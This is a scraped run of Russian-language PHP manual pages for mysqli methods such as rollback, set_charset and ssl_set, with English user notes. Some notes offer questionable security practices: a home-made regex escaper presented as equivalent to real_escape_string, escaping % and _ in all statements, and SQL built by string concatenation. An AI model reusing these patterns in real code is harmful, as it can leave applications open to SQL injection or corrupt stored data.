therselman at gmail dot com 19-Jul-2017 08:22
Presenting several UTF-8 / Multibyte-aware escape functions.

These functions represent alternatives to mysqli::real_escape_string, as long as your DB connection and Multibyte extension are using the same character set (UTF-8), they will produce the same results by escaping the same characters as mysqli::real_escape_string.

This is based on research I did for my SQL Query Builder class:
https://github.com/twister-php/sql

<?php
/**
 * Returns a string with backslashes before characters that need to be escaped.
 * As required by MySQL and suitable for multi-byte character sets
 * Characters encoded are NUL (ASCII 0), \n, \r, \, ', ", and ctrl-Z.
 *
 * @param string $string String to add slashes to
 * @return $string with `\` prepended to reserved characters
 *
 * @author Trevor Herselman
 */
if (function_exists('mb_ereg_replace'))
{
    function mb_escape(string $string)
    {
        return mb_ereg_replace('[\x00\x0A\x0D\x1A\x22\x27\x5C]', '\\\0', $string);
    }
} else {
    function mb_escape(string $string)
    {
        return preg_replace('~[\x00\x0A\x0D\x1A\x22\x27\x5C]~u', '\\\$0', $string);
    }
}

?>

Characters escaped are (the same as mysqli::real_escape_string):

00 = \0 (NUL)
0A = \n
0D = \r
1A = ctl-Z
22 = "
27 = '
5C = \

Note: preg_replace() is in PCRE_UTF8 (UTF-8) mode (`u`).

Enhanced version:

When escaping strings for `LIKE` syntax, remember that you also need to escape the special characters _ and %

So this is a more fail-safe version (even when compared to mysqli::real_escape_string, because % characters in user input can cause unexpected results and even security violations via SQL injection in LIKE statements):

<?php

/**
 * Returns a string with backslashes before characters that need to be escaped.
 * As required by MySQL and suitable for multi-byte character sets
 * Characters encoded are NUL (ASCII 0), \n, \r, \, ', ", and ctrl-Z.
 * In addition, the special control characters % and _ are also escaped,
 * suitable for all statements, but especially suitable for `LIKE`.
 *
 * @param string $string String to add slashes to
 * @return $string with `\` prepended to reserved characters
 *
 * @author Trevor Herselman
 */
if (function_exists('mb_ereg_replace'))
{
    function mb_escape(string $string)
    {
        return mb_ereg_replace('[\x00\x0A\x0D\x1A\x22\x25\x27\x5C\x5F]', '\\\0', $string);
    }
} else {
    function mb_escape(string $string)
    {
        return preg_replace('~[\x00\x0A\x0D\x1A\x22\x25\x27\x5C\x5F]~u', '\\\$0', $string);
    }
}

?>

Additional characters escaped:

25 = %
5F = _

Bonus function:

The original MySQL `utf8` character-set (for tables and fields) only supports 3-byte sequences.
4-byte characters are not common, but I've had queries fail to execute on 4-byte UTF-8 characters, so you should be using `utf8mb4` wherever possible.

However, if you still want to use `utf8`, you can use the following function to replace all 4-byte sequences.

<?php
// Modified from: https://stackoverflow.com/a/24672780/2726557
function mysql_utf8_sanitizer(string $str)
{
    return preg_replace('/[\x{10000}-\x{10FFFF}]/u', "\xEF\xBF\xBD", $str);
}
?>

Pick your poison and use at your own risk!
Anonymous 25-Mar-2015 09:20
If you wonder why (besides \, ' and ")  NUL (ASCII 0), \n, \r, and Control-Z are escaped: it is not to prevent sql injection, but to prevent your sql logfile to get unreadable.
dave at mausner.us 25-Feb-2011 07:48
You can avoid all character escaping issues (on the PHP side) if you use prepare() and bind_param(), as an alternative to placing arbitrary string values in SQL statements.  This works because bound parameter values are NOT passed via the SQL statement syntax.
Josef Toman 26-Feb-2010 06:14
For percent sign and underscore I use this:
<?php
$more_escaped = addcslashes($escaped, '%_');
?>
arnoud at procurios dot nl 07-Oct-2004 09:05
Note that this function will NOT escape _ (underscore) and % (percent) signs, which have special meanings in LIKE clauses.

As far as I know there is no function to do this, so you have to escape them yourself by adding a backslash in front of them.


Выполнение SQL запроса

  • « mysqli::real_escape_string
  • mysqli::reap_async_query »
  • PHP Manual
  • mysqli
  • Выполнение SQL запроса

mysqli::real_query

mysqli_real_query

(PHP 5, PHP 7, PHP 8)

mysqli::real_query -- mysqli_real_query — Выполнение SQL запроса

Описание

Объектно-ориентированный стиль

public mysqli::real_query(string $query): bool

Процедурный стиль

mysqli_real_query(mysqli $mysql, string $query): bool

Выполняет одиночный запрос к базе данных, результаты которого можно получить или использовать функциями mysqli_store_result() или mysqli_use_result().

Внимание

Предупреждение безопасности: SQL-инъекция

Вместо составления строки запроса с включением переменных значений необходимо подготавливать запросы. Либо строки запроса должны быть экранированы функцией mysqli_real_escape_string() и правильно отформатированы.

Чтобы определить, должен ли запрос возвращать результирующий набор, смотрите mysqli_field_count().

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

query

Текст запроса в виде строки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Смотрите также

  • mysqli_query() - Выполняет запрос к базе данных
  • mysqli_store_result() - Передаёт на клиента результирующий набор последнего запроса
  • mysqli_use_result() - Готовит результирующий набор на сервере к использованию

User Contributed Notes

There are no user contributed notes for this page.


Получение результата асинхронного запроса

  • « mysqli::real_query
  • mysqli::refresh »
  • PHP Manual
  • mysqli
  • Получение результата асинхронного запроса

mysqli::reap_async_query

mysqli_reap_async_query

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli::reap_async_query -- mysqli_reap_async_query — Получение результата асинхронного запроса

Описание

Объектно-ориентированный стиль

public mysqli::reap_async_query(): mysqli_result|bool

Процедурный стиль

mysqli_reap_async_query(mysqli $mysql): mysqli_result|bool

Получает результат асинхронного запроса.

Замечание:

Доступно только с модулем mysqlnd.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Возвращает false в случае возникновения ошибки. Для успешных запросов, которые производят набор результатов, таких как SELECT, SHOW, DESCRIBE или EXPLAIN, mysqli_reap_async_query() вернёт объект mysqli_result. Для других успешных запросов mysqli_reap_async_query() вернёт true.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Смотрите также

  • mysqli_poll() - Опрос подключений

User Contributed Notes

eric dot caron at gmail dot com 06-May-2010 11:05
Keep in mind that mysqli::reap_async_query only returns mysqli_result on queries like SELECT. For queries where you may be interested in things like affected_rows or insert_id, you can't work off of the result of mysqli::reap_async_query as the example in mysqli::poll leads you to believe. For INSERT/UPDATE/DELETE queries, the data corresponding to the query can be accessed through the associated key to the first array in the mysqli::poll function.

So instead of
<?php
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            print_r($result->fetch_row());
            mysqli_free_result($result);
            $processed++;
        }
    }
?>

The data is accessible via:
<?php
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            //This works for SELECT
            if(is_object($result)){
                print_r($result->fetch_row());
                mysqli_free_result($result);
            }
            //This works for INSERT/UPDATE/DELETE
            else {
                print_r($link);
            }
            $processed++;
        }
    }
?>


Обновление

  • « mysqli::reap_async_query
  • mysqli::release_savepoint »
  • PHP Manual
  • mysqli
  • Обновление

mysqli::refresh

mysqli_refresh

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli::refresh -- mysqli_refresh — Обновление

Описание

Объектно-ориентированный стиль

public mysqli::refresh(int $flags): bool

Процедурный стиль

mysqli_refresh(mysqli $mysql, int $flags): bool

Очищает таблицы или кеш, либо сбрасывает копию серверной информации.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

flags

Настройки обновления задаются константами MYSQLI_REFRESH_*, которые описаны в разделе документации Константы MySQLi.

Смотрите также официальную документацию » MySQL Refresh.

Возвращаемые значения

true в случае успешного выполнения, false в противном случае.

Смотрите также

  • mysqli_poll() - Опрос подключений

User Contributed Notes

There are no user contributed notes for this page.


Удаляет именованную точку сохранения из списка точек сохранения текущей транзакции

  • « mysqli::refresh
  • mysqli::rollback »
  • PHP Manual
  • mysqli
  • Удаляет именованную точку сохранения из списка точек сохранения текущей транзакции

mysqli::release_savepoint

mysqli_release_savepoint

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

mysqli::release_savepoint -- mysqli_release_savepoint — Удаляет именованную точку сохранения из списка точек сохранения текущей транзакции

Описание

Объектно-ориентированный стиль

public mysqli::release_savepoint(string $name): bool

Процедурный стиль:

mysqli_release_savepoint(mysqli $mysql, string $name): bool

Функция идентична выполнению запроса $mysqli->query("RELEASE SAVEPOINT `$name`");. Она не запускает фиксацию или откат.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

name

Идентификатор точки сохранения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • mysqli_savepoint() - Установите именованную точку сохранения транзакции

User Contributed Notes

There are no user contributed notes for this page.


Откат текущей транзакции

  • « mysqli::release_savepoint
  • mysqli::savepoint »
  • PHP Manual
  • mysqli
  • Откат текущей транзакции

mysqli::rollback

mysqli_rollback

(PHP 5, PHP 7, PHP 8)

mysqli::rollback -- mysqli_rollback — Откат текущей транзакции

Описание

Объектно-ориентированный стиль

public mysqli::rollback(int $flags = 0, ?string $name = null): bool

Процедурный стиль

mysqli_rollback(mysqli $mysql, int $flags = 0, ?string $name = null): bool

Откатывает текущую транзакцию.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

flags

Битовая маска констант MYSQLI_TRANS_COR_*.

name

Если передана, то выполняется ROLLBACK/*name*/.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Список изменений

Версия | Описание
8.0.0 | name теперь допускает значение null.

Примеры

Смотрите пример использования в разделе mysqli::begin_transaction().

Примечания

Замечание:

Функция не работает с нетранзакционными типами таблиц (такими как MyISAM или ISAM).

Смотрите также

  • mysqli_begin_transaction() - Стартует транзакцию
  • mysqli_commit() - Фиксирует текущую транзакцию
  • mysqli_autocommit() - Включает или отключает автоматическую фиксацию изменений базы данных
  • mysqli_release_savepoint() - Удаляет именованную точку сохранения из списка точек сохранения текущей транзакции

User Contributed Notes

Yorick Phoenix 07-Sep-2023 05:55
If you use savepoints  - eg savepoint($foo) - be wary of trying to rollback to the save point with rollback(0, $foo) as that executes "ROLLBACK /* $foo */" instead of "ROLLBACK TO `$foo`".

The manual page is clear about this, but is easily overlooked.

Instead use: $mysqli->query("ROLLBACK TO `$foo`");
Steven McCoy 10-Feb-2012 09:16
Remember that MyISAM tables do not support rollbacks.

I just drove myself crazy for an afternoon trying to figure out what was wrong with my code - meanwhile it was fine all along
xcalibur at xcalibur dot dk 10-Mar-2010 03:04
Just a note about auto incremental ids and rollback.
When using transactions and inserting into a table containing a column with auto incremental ids, the id will be incremented even though the transaction is rolled back.

This might occupy a lot of ids if a lot of rollbacks are performed.

Example:
<?php
$mysqli = new mysqli("localhost", "gugbageri", "gugbageri", "gugbageri");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* disable autocommit */
$mysqli->autocommit(FALSE);

/* We just create a test table with one auto incremental primary column and a content column*/
$mysqli->query("CREATE TABLE TestTable ( `id_column` INT NOT NULL  AUTO_INCREMENT , `content` INT NOT NULL , PRIMARY KEY ( `id_column` )) ENGINE = InnoDB;");

/* commit newly created table */
$mysqli->commit();

/* we insert a row */
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");

/* we commit the inserted row */
$mysqli->commit();

/* we insert another three rows */
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");

/* we the rollback */
$mysqli->rollback();

/* we insert a row */
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");

/* we commit the inserted row */
$mysqli->commit();

if ($result = $mysqli->query("SELECT id_column FROM TestTable")) {

   while($row = $result->fetch_row()) {
      printf("Id: %d.\n", $row[0]);
   }
    /* Free result */
    $result->close();
}

/* Drop table TestTable */
$mysqli->query("DROP TABLE TestTable");

$mysqli->close();
?>

This will output:
Id: 1.
Id: 5.
jd at dilltree dot com 22-Jul-2009 04:08
Something to consider when using transact is that you should not perform a normal query on the same table (such as a DELETE) immediately after a transaction.  If the transaction rolls-back, the DELETE will execute and even show affected rows, but the row can be magically re-inserted even if the rollback() command comes before the DELETE query.
Lorenzo - webmaster AT 4tour DOT it 10-Feb-2009 06:31
This is an example to explain the powerful of the rollback and commit functions.
Let's suppose you want to be sure that all queries have to be executed without errors before writing data on the database.
Here's the code:

<?php
$all_query_ok=true; // our control variable

//we make 4 inserts, the last one generates an error
//if at least one query returns an error we change our control variable
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (200)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (300)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false; //duplicated PRIMARY KEY VALUE

//now let's test our control variable
$all_query_ok ? $mysqli->commit() : $mysqli->rollback();

$mysqli->close();
?>

hope to be helpful!


Установите именованную точку сохранения транзакции

  • « mysqli::rollback
  • mysqli::select_db »
  • PHP Manual
  • mysqli
  • Установите именованную точку сохранения транзакции

mysqli::savepoint

mysqli_savepoint

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

mysqli::savepoint -- mysqli_savepoint — Установите именованную точку сохранения транзакции

Описание

Объектно-ориентированный стиль

public mysqli::savepoint(string $name): bool

Процедурный стиль:

mysqli_savepoint(mysqli $mysql, string $name): bool

Функция идентична выполнению запроса $mysqli->query("SAVEPOINT `$name`");

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

name

Идентификатор точки сохранения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • mysqli_release_savepoint() - Удаляет именованную точку сохранения из списка точек сохранения текущей транзакции

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает базу данных для выполняемых запросов

  • « mysqli::savepoint
  • mysqli::set_charset »
  • PHP Manual
  • mysqli
  • Устанавливает базу данных для выполняемых запросов

mysqli::select_db

mysqli_select_db

(PHP 5, PHP 7, PHP 8)

mysqli::select_db -- mysqli_select_db — Устанавливает базу данных для выполняемых запросов

Описание

Объектно-ориентированный стиль

public mysqli::select_db(string $database): bool

Процедурный стиль

mysqli_select_db(mysqli $mysql, string $database): bool

Устанавливает базу данных, которая будет использоваться при выполнении запросов к базе данных

Замечание:

Эта функция используется только для смены базы данных во время подключения. Вы можете выбрать базу данных, передав её четвёртым параметром в функции mysqli_connect().

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

database

Имя базы данных.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Пример использования mysqli::select_db()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* получаем имя текущей базы данных по умолчанию */
$result = $mysqli->query("SELECT DATABASE()");
$row = $result->fetch_row();
printf("База данных по умолчанию: %s.\n", $row[0]);

/* изменяем базу данных по умолчанию на "world" */
$mysqli->select_db("world");

/* получаем имя текущей базы данных по умолчанию */
$result = $mysqli->query("SELECT DATABASE()");
$row = $result->fetch_row();
printf("База данных по умолчанию: %s.\n", $row[0]);

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

/* получаем имя текущей базы данных по умолчанию */
$result = mysqli_query($link, "SELECT DATABASE()");
$row = mysqli_fetch_row($result);
printf("База данных по умолчанию: %s.\n", $row[0]);

/* изменяем базу данных по умолчанию на "world" */
mysqli_select_db($link, "world");

/* получаем имя текущей базы данных по умолчанию */
$result = mysqli_query($link, "SELECT DATABASE()");
$row = mysqli_fetch_row($result);
printf("База данных по умолчанию: %s.\n", $row[0]);

Результат выполнения данных примеров:

База данных по умолчанию: test.
База данных по умолчанию: world.

Смотрите также

  • mysqli_connect() - Псевдоним mysqli::__construct
  • mysqli_real_connect() - Устанавливает соединение с сервером mysql

User Contributed Notes

lori at astoundingteam dot com 14-Aug-2023 09:48
Note that the order of arguments for `mysqli_select_db` is opposite what it is for the deprecated `mysql_select_db`.


Задаёт набор символов

  • « mysqli::select_db
  • mysqli::$sqlstate »
  • PHP Manual
  • mysqli
  • Задаёт набор символов

mysqli::set_charset

mysqli_set_charset

(PHP 5 >= 5.0.5, PHP 7, PHP 8)

mysqli::set_charset -- mysqli_set_charset — Задаёт набор символов

Описание

Объектно-ориентированный стиль

public mysqli::set_charset(string $charset): bool

Процедурный стиль

mysqli_set_charset(mysqli $mysql, string $charset): bool

Задаёт набор символов, который будет использоваться при обмене данными с сервером баз данных.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

charset

Набор символов, который необходимо установить.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Пример использования mysqli::set_charset()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

printf("Начальный набор символов: %s\n", $mysqli->character_set_name());

/* изменение набора символов на utf8mb4 */
$mysqli->set_charset("utf8mb4");

printf("Текущий набор символов: %s\n", $mysqli->character_set_name());

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'test');

printf("Начальный набор символов: %s\n", mysqli_character_set_name($link));

/* изменение набора символов на utf8mb4 */
mysqli_set_charset($link, "utf8mb4");

printf("Текущий набор символов: %s\n", mysqli_character_set_name($link));

Результат выполнения данных примеров:

Начальный набор символов: latin1
Текущий набор символов: utf8mb4

Примечания

Замечание:

Чтобы использовать эту функцию на Windows платформах, вам потребуется клиентская библиотека MySQL версии 4.1.11 или выше (для MySQL 5.0 соответственно 5.0.6 или выше).

Замечание:

Это предпочтительный способ задания набора символов. Использование для этих целей функции mysqli_query() (например SET NAMES utf8) не рекомендуется. Дополнительно смотрите Наборы символов в MySQL.

Смотрите также

  • mysqli_character_set_name() - Возвращает текущую кодировку, установленную для соединения с БД
  • mysqli_real_escape_string() - Экранирует специальные символы в строке для использования в SQL-выражении, используя текущий набор символов соединения
  • Концепции кодировок MySQL
  • » Список поддерживаемых MySQL наборов символов

User Contributed Notes

ASchmidt at Anamera dot net 19-Jun-2018 10:54
To align both the character set (e.g., utf8mb4) AND the collation sequence with the schema (database) settings:

<?php
$mysqli = new mysqli( DB_HOST, DB_USER, DB_PASSWORD, DB_SCHEMA, DB_PORT );
if ( 0 !== $mysqli->connect_errno )
    throw new \Exception( $mysqli->connect_error, $mysqli->connect_errno );

if ( TRUE !== $mysqli->set_charset( 'utf8mb4' ) )
    throw new \Exception( $mysql->error, $mysqli->errno );

if ( TRUE !== $mysqli->query( 'SET collation_connection = @@collation_database;' ) )
    throw new \Exception( $mysql->error, $mysqli->errno );
?>

To confirm:

<?php
echo 'character_set_name: ', $mysqli->character_set_name(), '<br />', PHP_EOL;
foreach( $mysqli->query( "SHOW VARIABLES LIKE '%_connection';" )->fetch_all() as $setting )
    echo $setting[0], ': ', $setting[1], '<br />', PHP_EOL;
?>

will output something like:
character_set_name: utf8mb4
character_set_connection: utf8mb4
collation_connection: utf8mb4_unicode_520_ci
chris at ocproducts dot com 03-Jan-2018 07:30
Note that using utf8mb4 with this function may cause this function to return false, depending on the MySQL client library compiled into PHP. If the client library is older than the introduction of utf8mb4, then PHP's call of the libraries 'mysql_set_character_set' will return an error because it won't recognise that character set.

The only way you will know there's an error is by checking the return value, because PHP warnings are not emitted by this function.
mysqli_error will return something like:
"Can't initialize character set utf8mb4 (path: /usr/share/mysql/charsets/)"
(I don't think the directory has anything to do with it; I think the utf8mb4 vs utf8 distinction is handled internally)

A workaround is to recall with utf8, then do a 'SET NAMES' query with utf8mb4.

If your MySQL server is configured to use utf8 by default, then you may not notice any of this until you get obscure bugs. It seems it will still save into the database correctly in terms of bytes. However, you may get "Data too long for column" errors if you are truncating strings to fit fields, because from MySQL's point of view during the length check every 4-byte character will actually be multiple individual characters. This caused me hours of debugging.
Konstantin Rozinov 18-Sep-2017 02:20
The comment by Claude (http://php.net/manual/en/mysqli.set-charset.php#121067) is CORRECT.

Setting the charset (it's really the encoding) like this after setting up your connection:
$connection->set_charset("utf8mb4")

FAILS to set the proper collation for the connection:

character_set_client: utf8mb4
character_set_connection: utf8mb4
character_set_database: utf8mb4
character_set_filesystem: binary
character_set_results: utf8mb4
character_set_server: utf8mb4
character_set_system: utf8
collation_connection: utf8mb4_general_ci <---- still says general
collation_database: utf8mb4_unicode_ci
collation_server: utf8mb4_unicode_ci

If you use SET NAMES, that works:
$connection->query("SET NAMES utf8mb4 COLLATE utf8mb4_unicode_ci");

character_set_client: utf8mb4
character_set_connection: utf8mb4
character_set_database: utf8mb4
character_set_filesystem: binary
character_set_results: utf8mb4
character_set_server: utf8mb4
character_set_system: utf8
collation_connection: utf8mb4_unicode_ci <-- now says unicode
collation_database: utf8mb4_unicode_ci
collation_server: utf8mb4_unicode_ci

Please note, that I set the following variables on the server:

Set the following to be: utf8mb4_unicode_ci

character_set_client
character_set_connection
character_set_database
character_set_results
character_set_server

collation_connection
collation_server

Set:

character-set-client-handshake = FALSE or 0
skip-character-set-client-handshake = TRUE or 1
claude dot pache at gmail dot com 11-May-2017 08:01
Although the documentation says that using that function is preferred than using SET NAMES, it is not sufficient in case you use a collation different from the default one:

<?php
// That will reset collation_connection to latin1_swedish_ci
// (the default collation for latin1):
$mysqli->set_charset('latin1');

// You have to execute the following statement *after* mysqli::set_charset()
// in order to get the desired value for collation_connection:
$mysqli->query("SET NAMES latin1 COLLATE latin1_german1_ci");
Emmanuel Appiah 20-Mar-2016 05:46
So in my case, I had tried changing the collation from utf8mb4_unicode_ci for mysql and had to change it to uft8_general_ci.

Then pasted :

mysqli_set_charset( $con, 'utf8');

right before I did the SELECT command.

This is my code for reading from db :

/*

$DB_SERVER="db_server_name";
$DB_USER_READER="root";
$DB_PASS_READER="passw*rd";
$DB_NAME="db_name";
$DB_PORT="port number";

$SELECT_WHAT="`name_of_column_as_in_your_table`";
$WHICH_TBL="`table_name`";
$ON_WHAT_CONDITION="`id`='7'";

*/

$con = mysqli_connect($DB_SERVER, $DB_USER_READER, $DB_PASS_READER, $DB_NAME, $DB_PORT);//this is the unique connection for the selection

    mysqli_set_charset( $con, 'utf8');

        $slct_stmnt = "SELECT ".$SELECT_WHAT." FROM ".$WHICH_TBL." WHERE ".$ON_WHAT_CONDITION;

    $slct_query = mysqli_query($con, $slct_stmnt);

        if ($slct_query==true) {
//Do your stuff here . . .
}

And it worked like a charm. All the best. The above code can work with reading chineese, russian or arabic or any international language from the database's table column holding such data.


Возвращает код состояния SQLSTATE последней MySQL операции

  • « mysqli::set_charset
  • mysqli::ssl_set »
  • PHP Manual
  • mysqli
  • Возвращает код состояния SQLSTATE последней MySQL операции

mysqli::$sqlstate

mysqli_sqlstate

(PHP 5, PHP 7, PHP 8)

mysqli::$sqlstate -- mysqli_sqlstate — Возвращает код состояния SQLSTATE последней MySQL операции

Описание

Объектно-ориентированный стиль

string $mysqli->sqlstate;

Процедурный стиль

mysqli_sqlstate(mysqli $mysql): string

Возвращает строку с SQLSTATE кодом последней ошибки. Этот код состоит из пяти символов. '00000' означает отсутствие ошибок. Эти коды определены в стандарте ANSI, а также в ODBC. Посмотреть список возможных значений можно на странице » http://dev.mysql.com/doc/mysql/en/error-handling.html.

Замечание:

Следует заметить, что ещё не все MySQL ошибки имеют отражение в SQLSTATE кодах. Для подобных ошибок используется код HY000 (общая ошибка).

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Возвращает строку с SQLSTATE кодом последней ошибки. Этот код состоит из пяти символов. '00000' означает отсутствие ошибок.

Примеры

Пример #1 Пример использования $mysqli->sqlstate

Объектно-ориентированный стиль

<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Таблица City уже существует, поэтому мы должны получить ошибку */
try {
$mysqli->query("CREATE TABLE City (ID INT, Name VARCHAR(30))");
} catch (mysqli_sql_exception) {
printf("Ошибка - SQLSTATE %s.\n", $mysqli->sqlstate);
}
?>

Процедурный стиль

<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* Таблица City уже существует, поэтому мы должны получить ошибку */
try {
mysqli_query($link, "CREATE TABLE City (ID INT, Name VARCHAR(30))");
} catch (mysqli_sql_exception) {
printf("Ошибка - SQLSTATE %s.\n", mysqli_sqlstate($link));
}
?>

Результат выполнения данных примеров:

Ошибка - SQLSTATE 42S01.

Смотрите также

  • mysqli_errno() - Возвращает код ошибки последнего вызова функции
  • mysqli_error() - Возвращает строку с описанием последней ошибки

User Contributed Notes

There are no user contributed notes for this page.


Используется для установления безопасных соединений, используя SSL

  • « mysqli::$sqlstate
  • mysqli::stat »
  • PHP Manual
  • mysqli
  • Используется для установления безопасных соединений, используя SSL

mysqli::ssl_set

mysqli_ssl_set

(PHP 5, PHP 7, PHP 8)

mysqli::ssl_set -- mysqli_ssl_set — Используется для установления безопасных соединений, используя SSL

Описание

Объектно-ориентированный стиль

public mysqli::ssl_set(
?string $key,
?string $certificate,
?string $ca_certificate,
?string $ca_path,
?string $cipher_algos
): true

Процедурный стиль

mysqli_ssl_set(
mysqli $mysql,
?string $key,
?string $certificate,
?string $ca_certificate,
?string $ca_path,
?string $cipher_algos
): true

Используется для установления безопасных соединений, используя SSL. Функцию необходимо вызывать до вызова mysqli_real_connect(). Для работы функции требуется включить поддержку OpenSSL, в противном случае функция делать ничего не будет.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

key

Путь и имя ключевого файла.

certificate

Путь и имя файла сертификата.

ca_certificate

Путь и имя файла с разрешениями сертификата.

ca_path

Путь к директории, в которой хранятся доверенные CA-сертификаты SSL в формате PEM.

cipher_algos

Список допустимых шифров для использования в SSL-шифровании.

Возвращаемые значения

Функция всегда возвращает true. Если SSL установлен некорректно mysqli_real_connect() вернёт ошибку при попытке подключения.

Смотрите также

  • mysqli_options() - Установка настроек
  • mysqli_real_connect() - Устанавливает соединение с сервером mysql

User Contributed Notes

Mike 27-Apr-2020 05:16
You no longer need to specify the key - ca or cert to establish a secure connection to MySQL 5.7.3 you can just set ssl
quackfish at gmail dot com 13-Apr-2015 09:56
Be warned, MySQL prior to versions 5.7.3 do not require the server to use SSL [1]. In the case of PHP the client won't throw an error if the connection is downgraded to plain-text [2]

[1] https://dev.mysql.com/doc/refman/5.7/en/encrypted-connection-options.html#option_general_ssl
[2] http://www.idontplaydarts.com/2015/03/mysql-with-ssl-does-not-protect-against-active-mitm/


Получение информации о текущем состоянии системы

  • « mysqli::ssl_set
  • mysqli::stmt_init »
  • PHP Manual
  • mysqli
  • Получение информации о текущем состоянии системы

mysqli::stat

mysqli_stat

(PHP 5, PHP 7, PHP 8)

mysqli::stat -- mysqli_stat — Получение информации о текущем состоянии системы

Описание

Объектно-ориентированный стиль

public mysqli::stat(): string|false

Процедурный стиль

mysqli_stat(mysqli $mysql): string|false

mysqli_stat() возвращает строку с информацией, схожей с той, что предоставляет команда 'mysqladmin status'. Сюда включается время работы с момента загрузки в секундах, количество запущенных процессов, запросов, перезагрузок и открытых таблиц.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Строка с информацией о состоянии системы. false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysqli::stat()

Объектно-ориентированный стиль

<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

printf("System status: %s\n", $mysqli->stat());
?>

Процедурный стиль

<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

printf("System status: %s\n", mysqli_stat($link));
?>

Результат выполнения данных примеров:

Состояние системы: Uptime: 272  Threads: 1  Questions: 5340  Slow queries: 0
Opens: 13  Flush tables: 1  Open tables: 0  Queries per second avg: 19.632
Memory in use: 8496K  Max memory used: 8560K

Смотрите также

  • mysqli_get_server_info() - Возвращает версию MySQL сервера

User Contributed Notes

amosjohlong at hotmail dot com 24-Nov-2016 10:13
Here is an explanation of the values that appear in connection->stat() returned string. It was taken from Ai Hua's April 29, 2006 answer on http://forums.mysql.com/read.php?12,86570,86570.

